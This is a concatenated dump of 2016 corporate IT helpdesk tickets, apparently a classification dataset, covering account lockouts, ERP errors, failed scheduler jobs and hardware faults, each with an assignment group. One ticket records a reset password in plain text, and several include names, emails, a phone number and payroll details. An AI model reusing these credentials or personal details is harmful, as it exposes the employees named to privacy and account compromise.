\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_44.Ticket with Short description: no intercompany , Description:
received from: dumovtpj.ahgjsvoq@gmail.com
hi team,
we can not generate intercompany for delivery note 9168034926 the following error message appears, can you please
have a look:
[cid:image001.png@01d1f7b2.8e308980]
mit freundlichen grugermany / best , is assigned to Assignment group: GRP\_13.Ticket with Short description: need help in installing tess, Description: need help in installing tess, is assigned to Assignment group: GRP\_0.Ticket with Short description: email-anzeige, Description: \_x000D\_
\_x000D\_
received from: trgqbeax.hfyzudql@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01d1f7b0.223a83e0]\_x000D\_
\_x000D\_
\_x000D\_
leider ist das feld â€žvon" abhanden gekommen â˜¹\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
danke + viele grÃ¼ÃŸe\_x000D\_
trgqbeax hfyzudql\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen | best , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to ess portal, Description: not able to login to ess portal, is assigned to Assignment group: GRP\_0.Ticket with Short description: zpdist\_programdnty not allowing to distribute against planned orders and production orders, Description: \_x000D\_
hello chandruhdty, ebi,\_x000D\_
\_x000D\_
iÂ´ve created an example in SID\_1 for debugging an fixing. production order to receive is 226138271 // mm# 4289785.\_x000D\_
the issue does not only appear in case the user tries to ship against a planned order but also when trying to ship against a production order.\_x000D\_
\_x000D\_
shipping against planned orders:\_x000D\_
\_x000D\_
it looks like zpdist\_programdnty does only allow to ship against planned orders in case the planned order finish date is due or past due (purple example in the screenshot). in case the planned order finish date is not due (red example) zpdist\_programdnty does not allow to ship against the planned order.\_x000D\_
\_x000D\_
the following things need to be changed:\_x000D\_
\_x000D\_
- zpdist\_programdnty should allow to force the shipment against planned orders even though the planned order is not due (just like zpdist\_programdnty does for stock transfer orders)\_x000D\_
- zpdist\_programdnty should use the planned order start date rather than the planned order finish date to determine whether the planned order is due\_x000D\_
\_x000D\_
shipping against production orders:\_x000D\_
\_x000D\_
it looks like zpdist\_programdnty does only allow to ship against production orders in case the basic finish date of the production order is due or past due (blue example). in case the basic finish date of the production order is not due (yellow example) zpdist\_programdnty does not allow to ship against the production order.\_x000D\_
\_x000D\_
the following things need to be changed:\_x000D\_
\_x000D\_
- zpdist\_programdnty should allow to force the shipment against production orders even though the production order is not due (just like zpdist\_programdnty does for stock transfer orders)\_x000D\_
- zpdist\_programdnty should use the basic start date (which is already shown in the transaction) rather than the basic finish date to determine whether the production order is due, is assigned to Assignment group: GRP\_18.Ticket with Short description: windows system doesn't start, Description: windows system doesn't start, is assigned to Assignment group: GRP\_31.Ticket with Short description: wifi on big meetings is not stable in the meeting room, Description: if we have a meeting at switzerland with a lot of participants, like today, the wifi is not stable. the users will get interrupts frequently. i do not have the possibility to check how much users are connected to which ap for analyzing the problem. , is assigned to Assignment group: GRP\_33.Ticket with Short description: nicht gebuchte anzahlungsrechnungen company 5417 - vfx3 -, Description: siehe beigefÃ¼gte e-mail, is assigned to Assignment group: GRP\_10.Ticket with Short description: erp SID\_34 account lock out issue, Description: erp SID\_34 account lock out issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop power issue, Description: laptop is not getting on , is assigned to Assignment group: GRP\_19.Ticket with Short description: ç­”å¤: help for mm#4866474 24800776, Description: \_x000D\_
\_x000D\_
received from: windy.shi@company.com\_x000D\_
\_x000D\_
dearsï¼Œ\_x000D\_
how about the status now ?\_x000D\_
this shipment is urgent required.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: change "volunteer tracker" , Description:
received from: fmjeaoih.ndyezlkb@gmail.com
hi all,
i would need two edits to be made to the volunteer tracker form
#wa=wsignin1.0
please add two fields beneath facilitator/contact person which should be named:
name of organization:
organization's address:
and please add at the very end:
please send the non- profit verification document to communication@company.com<mailto:communication@company.com>.
please note that the volunteer tracker should be accessible to all employees,
i set the permissions accordingly.
, is assigned to Assignment group: GRP\_16.Ticket with Short description: loaner laptops germany location germany required , Description: \_x000D\_
\_x000D\_
received from: ubiqcrvy.mxjcnqfs@gmail.com\_x000D\_
\_x000D\_
dear it-team,\_x000D\_
\_x000D\_
i would please need loaner laptops for our consultant from bank for the below period:\_x000D\_
\_x000D\_
12th september 2016 â€“ 15th september 2016 hzptilsw wusdajqv / bank consultant\_x000D\_
\_x000D\_
19th september 2016 â€“ 20th september 2016 jrilgbqu kbspjrod / bank consultant\_x000D\_
\_x000D\_
10th october 2016 â€“ 11th october 2016 hzptilsw wusdajqv / bank consultant\_x000D\_
10th october 2016 â€“ 11th october 2016 wpakylnj wdtsyuxg / bank consultant\_x000D\_
\_x000D\_
all three consultant should still have a valid erp and microsoft log in password. fyi - our bank consultant will do\_x000D\_
a huge update in september and october for our erp payment management and autobank tool.\_x000D\_
\_x000D\_
could you please prepare the laptops accordingly and confirm if we will get the loaner laptops please.\_x000D\_
i would pick them up on the mentioned dates above by steffen rÃ¶del.\_x000D\_
\_x000D\_
if there is any problem please let me know.\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_28.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description: \_x000D\_
\_x000D\_
received from: wqfzjycu.omleknjd@gmail.com\_x000D\_
\_x000D\_
hi deeghyupak,\_x000D\_
\_x000D\_
why are you running telephony\_software upgrade on pc agvw8325504 when it is not used for telephony\_software?\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_65.Ticket with Short description: cannot access SID\_1, Description: hello it,\_x000D\_
\_x000D\_
i cannot login to SID\_1 anymore, see attachment.\_x000D\_
please fix it for user id hannas and meixni\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: support fÃ¼r umzug \qvncizuf ueiybanz, Description: support fÃ¼r umzug \qvncizuf ueiybanz, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit EU\_tool \obqridjk ugelctsz, Description: probleme mit EU\_tool \obqridjk ugelctsz, is assigned to Assignment group: GRP\_24.Ticket with Short description: virus found, Description: \_x000D\_
\_x000D\_
received from: ynsqjehx.kqgrsawl@gmail.com\_x000D\_
\_x000D\_
hi it team,\_x000D\_
\_x000D\_
pls see how this can be removed? happened for the last 2 days.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d1f7cd.2a3cf790]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_50.Ticket with Short description: unable to create delivery, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 5018083414/00001\_x000D\_
\_x000D\_
what material or item number? 6471853\_x000D\_
\_x000D\_
what warehouse location? plant\_108 to plant\_168\_x000D\_
\_x000D\_
issue description / error message? "no message", is assigned to Assignment group: GRP\_6.Ticket with Short description: windows account lock out , Description: windows account lockout , is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for xqkydoat.bveiyclr@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: tuesday, august 16, 2016 10:26 am
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: ragsbdhryu:request to reset microsoft online services password for xqkydoat.bveiyclr@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ xqkydoat.bveiyclr@gmail.com
â€¢ first name: jagthyin bhughjdra
â€¢ last name: babanlal
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem mit start in outlook, Description: \_x000D\_
\_x000D\_
received from: ptuchwad.yzvrlcqa@gmail.com\_x000D\_
\_x000D\_
hallo\_x000D\_
\_x000D\_
kann auf rechner outlook nicht starten und crm synchronisiert stundenlang\_x000D\_
dadurch werden auch andere dinge geblockt ( engineering\_tool z.b.)\_x000D\_
\_x000D\_
bitte um hilfe - sitze am rechner\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ssen\_x000D\_
-uwe schrÃ¶ck\_x000D\_
technische beratung und verkauf\_x000D\_
ptuchwad.yzvrlcqa@gmail.com<mailto:ptuchwad.yzvrlcqa@gmail.com>\_x000D\_
mobil 0175 4356 741<tel:0175%204356%20741>\_x000D\_
\_x000D\_
company deutschland gmbh / max-planck-straÃŸe 13 / d-61381 germany /www.company.com<\_x000D\_
\_x000D\_
company deutschland gmbh\_x000D\_
geschÃ¤ftsfÃ¼hrer: rfwlsoej yvtjzkaw, harald mÃ¤nnlein\_x000D\_
sitz der gesellschaft: germany/hgermany â€“ registergerirtcht: bad homburg/hgermany hrb 7492\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.\_x000D\_
[#+company/posts> [\_x000D\_
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: po error language, Description: \_x000D\_
\_x000D\_
received from: xjvubmlq.vyamhjip@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
could you please help to check the reason of po error language .\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1f2f9.96a10ad0]\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_29.Ticket with Short description: telephony\_software software 2016 upgrade for user "laijuttr", Description: i am not able to find the interaction desktop icon in my pc after installation. even the old version got deleted. please assist. , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook spell check error - repeated issue, Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
[cid:image004.png@01d1f7af.e02c9290][cid:image005.jpg@01d1f7af.e02c9290]\_x000D\_
\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_2600, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2600 at 08/16/16 01:35:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_2584, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2584 at 08/16/16 01:31:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: abended job in job\_scheduler: Job\_2599, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2599 at 08/16/16 01:31:28, is assigned to Assignment group: GRP\_8.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to erp SID\_34, Description: unable to login to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: recall: re:ticket\_no1541701 - please reopen, Description:
received from: duwvesim.cixqbmfr@gmail.com
narefgttndra shigthyuva would like to recall the message, "re:ticket\_no1541701 - please reopen".
, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop volume is not working, Description: \_x000D\_
\_x000D\_
received from: rvsbtxue.cdrwsymj@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
my laptop dell precision m4700 volume has stopped working. not sure whether the problem is with any drivers. please help as i have to attend few skype sessions this week.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: outlook spell check not working - repeated issue, Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
pl. find the spell check error in the outlook.\_x000D\_
this is a repeated error, time & again observed.\_x000D\_
\_x000D\_
need your attention & permanent solution.\_x000D\_
\_x000D\_
[cid:image002.jpg@01d1f79e.28cd4650]\_x000D\_
\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_19.Ticket with Short description: dell battery failure., Description: -kds sw11-services <-kds.sw11-services@company.com>, is assigned to Assignment group: GRP\_19.Ticket with Short description: mm# 1876905, Description: from: -kds sw11-services \_x000D\_
sent: tuesday, august 16, 2016 7:12 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: rxoynvgi ntgdsehl; -kds sw11-services; johthryugftyson hu\_x000D\_
subject: fw: mm# 2987016\_x000D\_
\_x000D\_
hi it team\_x000D\_
\_x000D\_
\_x000D\_
please assist to create dn for the above mentioned mm. , is assigned to Assignment group: GRP\_6.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable connect to engineering\_tool , Description: unable connect to engineering\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: pp\_EU\_tool\_netch\_ap2, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: pp\_EU\_tool\_netch\_ap2 at 08/15/16 22:18:29, is assigned to Assignment group: GRP\_8.Ticket with Short description: warehouse\_vendor export service on HostName\_802 is showing down in monitoring\_tool monitoring tool, Description: warehouse\_vendor export service on HostName\_802 is showing down in monitoring\_tool monitoring tool, is assigned to Assignment group: GRP\_20.Ticket with Short description: sipppr for help, Description: dear itï¼Œ
ä»¥ä¸‹æ˜¯sippprçš„å…¥å£é“¾æŽ¥ã€‚
æˆ‘ç™»å½•è¿›åŽ»åŽ pdfæ–‡ä»¶ä¸èƒ½ç¼–è¾‘ï¼Œå¸®å¿™çœ‹çœ‹æ˜¯ä»€ä¹ˆé—®é¢˜ï¼Œadobe reader ç‰ˆæœ¬éœ€è¦æ›´æ–°ï¼Ÿ
å¦‚ä¸‹ä¸¤ä¸ªé“¾æŽ¥ï¼š
best , is assigned to Assignment group: GRP\_31.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked the erp id.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: r173 schneeberger cnc nr.20123 / wza, Description: programdntyme lassen sich teilweise nicht Ã¶ffnen, mal nach der festplatte schauen, \_x000D\_
bitte um erledigung durch m. himghtmelreich (EU\_tool rep. nr,:39788), is assigned to Assignment group: GRP\_33.Ticket with Short description: user needed help to login to erp SID\_34, Description: user needed help to login to erp SID\_34.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the erp SID\_34.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: hr\_tooldcvcgenratn, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: hr\_tooldcvcgenratn at 08/15/16 17:02:27, is assigned to Assignment group: GRP\_6.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_2827, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_2827 at 08/15/16 16:07:32, is assigned to Assignment group: GRP\_29.Ticket with Short description: expense report will not submit, Description:
received from: ytqhfmwi.itnakpmc@gmail.com
my expense report will not submit. this is the 3rd expense report that i have not been able to submit. has required erp person/help desk to submit each time.
[cid:image003.jpg@01d1f706.cbb3aeb0]
michjnfyele l. jenhntyns
plant manager
ytqhfmwi.itnakpmc@gmail.com<mailto:ytqhfmwi.itnakpmc@gmail.com>
, is assigned to Assignment group: GRP\_68.Ticket with Short description: return 7112594470 is held up in worklfow under approval vnhaycfo smkpfjzv- as of 4/27/16, Description: vnhaycfo smkpfjzv is not with earthworks usa- customer order is being up held due to credit involved with this return. return has been received on 5/4/2016. \_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: robhyertyj lee, Description: ron bell #21112660 has a 300 health savings acct deduction coming out of his paycheck yet he has elected zero. can you please let me know why this is before the next u1 pay run., is assigned to Assignment group: GRP\_52.Ticket with Short description: dell 7350: the system keeps going in to a loop of shutting down.-urgent, Description: dell 7350: the system keeps going in to a loop of shutting down.
-advised the user to restart the pc . not happening.
-service tag: 300811
-contact :
-os: win 8.1
, is assigned to Assignment group: GRP\_3.Ticket with Short description: adding purchasingupstreamsso members, Description: please add kigthuym whjtyulen (whjtlkn) and cqlehowf aosqelnr (shrghyadja) to the purchasingupstreamsso active directory (ad) group including a samaccountname in ad as all lowercase. , is assigned to Assignment group: GRP\_2.Ticket with Short description: mobile device, Description: \_x000D\_
\_x000D\_
received from: ejsxqmia.cujvlrfq@gmail.com\_x000D\_
\_x000D\_
who do i need to contact?\_x000D\_
having battery life issues on my i phone loosing charge fast throughout the day is it something that i can have the battery replaced on or get a new phone?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: how can i send a video to someone outside of company?, Description: name:aytjedki rucfxpla
language:
browser:microsoft internet explorer
email:aytjedki.rucfxpla@gmail.com
customer number:
telephone:
summary:how can i send a video to someone outside of company?
it is to large to attach to an email, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: meeting acceptance notification , Description: meeting acceptance notification , is assigned to Assignment group: GRP\_27.Ticket with Short description: unable to open .tif files, Description: unable to open .tif files, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to the switch, Description: unable to login to the switch due to the memory issue as per syslog alarms. , is assigned to Assignment group: GRP\_4.Ticket with Short description: crm account and contact reassignment help., Description: i would like to reassign accounts and contacts from myself to thomklmas (mitctdrh) ervin.
phone: , is assigned to Assignment group: GRP\_22.Ticket with Short description: telephony\_software phone system (interaction desktop) authentication process failure, Description: name:mitgckqf ewourgcx
language:
browser:microsoft internet explorer
email:mitgckqf.ewourgcx@gmail.com
customer number:
telephone:
summary:telephony\_software phone system (interaction desktop) authentication process failure, is assigned to Assignment group: GRP\_7.Ticket with Short description: crm accrual posting not replicating from crm to ecc for cpp programdnty, Description: fund id and budget postings affected are below.\_x000D\_
\_x000D\_
3770 211115402\_x000D\_
3771 211115403\_x000D\_
3772 211115404\_x000D\_
3773 211115405\_x000D\_
3774 211115406\_x000D\_
3775 211115407\_x000D\_
3776 211115408\_x000D\_
3777 211115409\_x000D\_
3778 211115400\_x000D\_
3779 211115511\_x000D\_
3780 211115512\_x000D\_
3781 211115513\_x000D\_
3782 211115514\_x000D\_
3783 211115515\_x000D\_
3784 211115516\_x000D\_
3785 211115517\_x000D\_
3786 211115518\_x000D\_
3787 211115519\_x000D\_
3788 211115510\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: access to database, Description: name:mikhghytr karaffa
language:
browser:microsoft internet explorer
email:vfrdxtqw.jfbmsenz@gmail.com
customer number:
telephone:
summary:please usa me access to the dunham and bradstreet data base., is assigned to Assignment group: GRP\_0.Ticket with Short description: drive encryption attention needed, Description: drive encryption attention needed, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1169.company.com.is connected? is not connected, Description: received reporting\_tool alert at 1:57 pm on 8/15 et HostName\_1169.company.com.is connected? is not connected, is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset on ess portal, Description: password reset on ess portal, is assigned to Assignment group: GRP\_0.Ticket with Short description: expense report not reaching manager, Description: expense report not reaching manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: pc will not boot. rqxw8516900, beshryu screen no post. has been slow to start for a while., Description: pc will not boot. rqxw8516900, beshryu screen no post. has been slow to start for a while., is assigned to Assignment group: GRP\_3.Ticket with Short description: xerox copier in usa office prtSID\_69369 has a paper feeder fault, will not copy., Description: xerox copier in usa office prtSID\_69369 has a paper feeder fault, will not copy., is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset, Description: from: jghjimdghty bfhjtuiwell
sent: monday, august 15, 2016 8:26 pm
to: nwfodmhc exurcwkm
subject: amar re: jghjimdghty bfhjtuiwell , your windows password is expiring soon!!
importance: high
hi it â€“ i changed my vpn password this morning when prompted and then in erp and outlook but when i go to change it per the password\_management\_tool pw software below â€“ the password\_management\_tool pw won't accept my self-service login passwords (old and new) or my email address.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out and password reset request., Description: account locked out and password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to any network from laptop, Description: unable to connect to any network from laptop, is assigned to Assignment group: GRP\_0.Ticket with Short description: create wi-fi passwords for ibm team onsite at usa for a week, Description: hi,\_x000D\_
\_x000D\_
please create wi-fi passwords for all the tem members below who will be in usa, pa from 8-16-16 to 8-19-16. , is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform issue , Description: collaboration\_platform issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook and ess due to bad password, Description: unable to open outlook and ess due to bad password, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access emails, Description: unable to access emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: zdsxmcwu thdjzolwronization issue., Description: zdsxmcwu thdjzolwronization issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out on erp SID\_34, Description: account locked out on erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to engineering tool, Description: access to engineering tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: global it-germany-erp-print of csi in vl02n does not works!, Description: hello dear all,\_x000D\_
i have tried to print the csi in the erp-vl02n for a 2nd time. \_x000D\_
the message what i have got was: oops! internet explorer could not connect to HostName\_523.company.company.com:20010! if anybody could help me - that would be very great. wbr-petrghada :-), is assigned to Assignment group: GRP\_18.Ticket with Short description: HostName\_973 (hr\_tool tax\_interface app-qa): average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%), Description: HostName\_973 (hr\_tool tax\_interface app-qa): average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%), is assigned to Assignment group: GRP\_12.Ticket with Short description: it-germany-h. kruse / as-400-passwortÃ¤nderung fehlgeschlagen, Description: hallo frthdyui,\_x000D\_
passwortÃ¤nderung in der as-400 hat nicht geklappt. bitte um deine hilfe. lieben dank im voraus-gruÃŸ petrghada :-), is assigned to Assignment group: GRP\_49.Ticket with Short description: erp access, Description: \_x000D\_
\_x000D\_
received from: zfburidj.jmilguev@gmail.com\_x000D\_
\_x000D\_
hi there,\_x000D\_
\_x000D\_
can you please give me access to erp. i cannot log on to it.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1953b, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1953b at 08/15/16 10:59:31, is assigned to Assignment group: GRP\_6.Ticket with Short description: vip 2 : battery seems to be dead : latitude e7250, Description: vip 2 : battery seems to be dead : latitude e7250
summary:dell laptop battery light flashing orange. laptop will not work without connection to power cord. battery seems to be dead.
, is assigned to Assignment group: GRP\_3.Ticket with Short description: restart a service on the lhqSID\_1854 server, Description: restart a service on the lhqSID\_1854 server
phone: -5508, is assigned to Assignment group: GRP\_12.Ticket with Short description: password issue, Description: password issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset and unlock request , Description: erp SID\_34 password reset and unlock request , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access HostName\_1274, Description: unable to access HostName\_1274, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to launch skype, Description: unable to launch skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update query on ticket inc1541161 : urgqkinl zpcokgbj, Description: ticket update query on ticket inc1541161 : urgqkinl zpcokgbj, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to company secure, Description: unable to connect to company secure, is assigned to Assignment group: GRP\_0.Ticket with Short description: shop\_floor\_app record error, Description: operator reinaldo albrecht, second shift machine ewag rs15, grinding process, pcd cell, cannot record correctly his work data on shop\_floor\_app there is a few days. the records of a day are extended to the next as if they had not been closed., is assigned to Assignment group: GRP\_43.Ticket with Short description: engineering\_tool\_dwnload prb, Description: \_x000D\_
\_x000D\_
received from: rmdtqfxa.fwpnqdxo@gmail.com\_x000D\_
\_x000D\_
hello it,\_x000D\_
\_x000D\_
when i tried to download engineering\_tool to my desktop , it is showing me this error.\_x000D\_
please fix this issue:\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1f728.ecdcf070]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: not possible to login due to a locked account, Description: not possible to login due to a locked account, is assigned to Assignment group: GRP\_0.Ticket with Short description: cant complete quote number , Description: cant complete quote number \_x000D\_
3116216659 get error massage\_x000D\_
"line item -> 000010\_x000D\_
entered brand is not listed, enter a valid brand for line item" , is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to launch netweaver, Description: unable to launch netweaver, is assigned to Assignment group: GRP\_0.Ticket with Short description: netweaver bussiness client does not open., Description: netweaver bussiness client does not open., is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool portal is not working., Description: hr\_tool portal is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2 : delegation issue., Description: vip 2 : telephone:412
summary:still trying to get an issue resolved with outlook. i am tomashtgd mchectg's new assistant. he gave me editor permission for his email, calendar, etc. when i try to view his email in outlook, i get this error message "cannot display the folder. microsoft outlook cannot access the specified folder location." i have to manually open his email account each time which is not going to work. i seem to be able to view his email in owa. but i want to use outlook 2013., is assigned to Assignment group: GRP\_0.Ticket with Short description: the clocks at the bottom of the hub home page seem to be missing, Description: i tried in both ie and mozilla., is assigned to Assignment group: GRP\_16.Ticket with Short description: problem with speaker, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
i'm having a problem with the speaker on my laptop. i can hear on my headset but not my earbuds or speakers. please advise
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to reset the password, Description: unable to reset the password\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: call from debgrtybie savgrtyuille inc1541588 : to cancel ticket , Description: call from debgrtybie savgrtyuille inc1541588 : to cancel ticket , is assigned to Assignment group: GRP\_0.Ticket with Short description: immediate restoration of t drive files required, Description:
received from: crkdjbot.qiztrxne@gmail.com
hello,
t:\HostName\_768\teams\corporate governance and t:\HostName\_768\teams\proxyâ€¦ these folders were deleted by an it helpdesk employee over the weekend. we need immediate restoration back to friday so these folders and all of the files contained within are restored.
this is a priority request. please respond within the hour.
best,
debgrtybie savgrtyuille
sr. corporate paralegal
company inc.
crkdjbot.qiztrxne@gmail.com<mailto:crkdjbot.qiztrxne@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: christgrytoph called to check if account has been disabled, Description: christgrytoph called to check if account has been disabled, is assigned to Assignment group: GRP\_0.Ticket with Short description: need help in resetting erp password and unlocking all accounts, Description: need help in resetting erp password and unlocking all accounts, is assigned to Assignment group: GRP\_0.Ticket with Short description: account expired for cyxieuwk rekwlqmu 2nd july 2016, Description: account expired for cyxieuwk rekwlqmu 2nd july 2016
informed user that we need email from hr that account needs to be enabled.
: account disabled., is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1541444 -sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et, Description: hi uidgt/jean,\_x000D\_
\_x000D\_
we are observing one of the switch sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et. please check for the power status /cable connections for this switch and revert.\_x000D\_
\_x000D\_
note: all devices came active after the planned power maintenance as per chg1144678 \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_62.Ticket with Short description: password\_management\_tool password manager brings an error while password change attempts, Description: password\_management\_tool password manager brings an error while password change attempts, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform online is not opening., Description: collaboration\_platform online is not opening.\_x000D\_
\_x000D\_
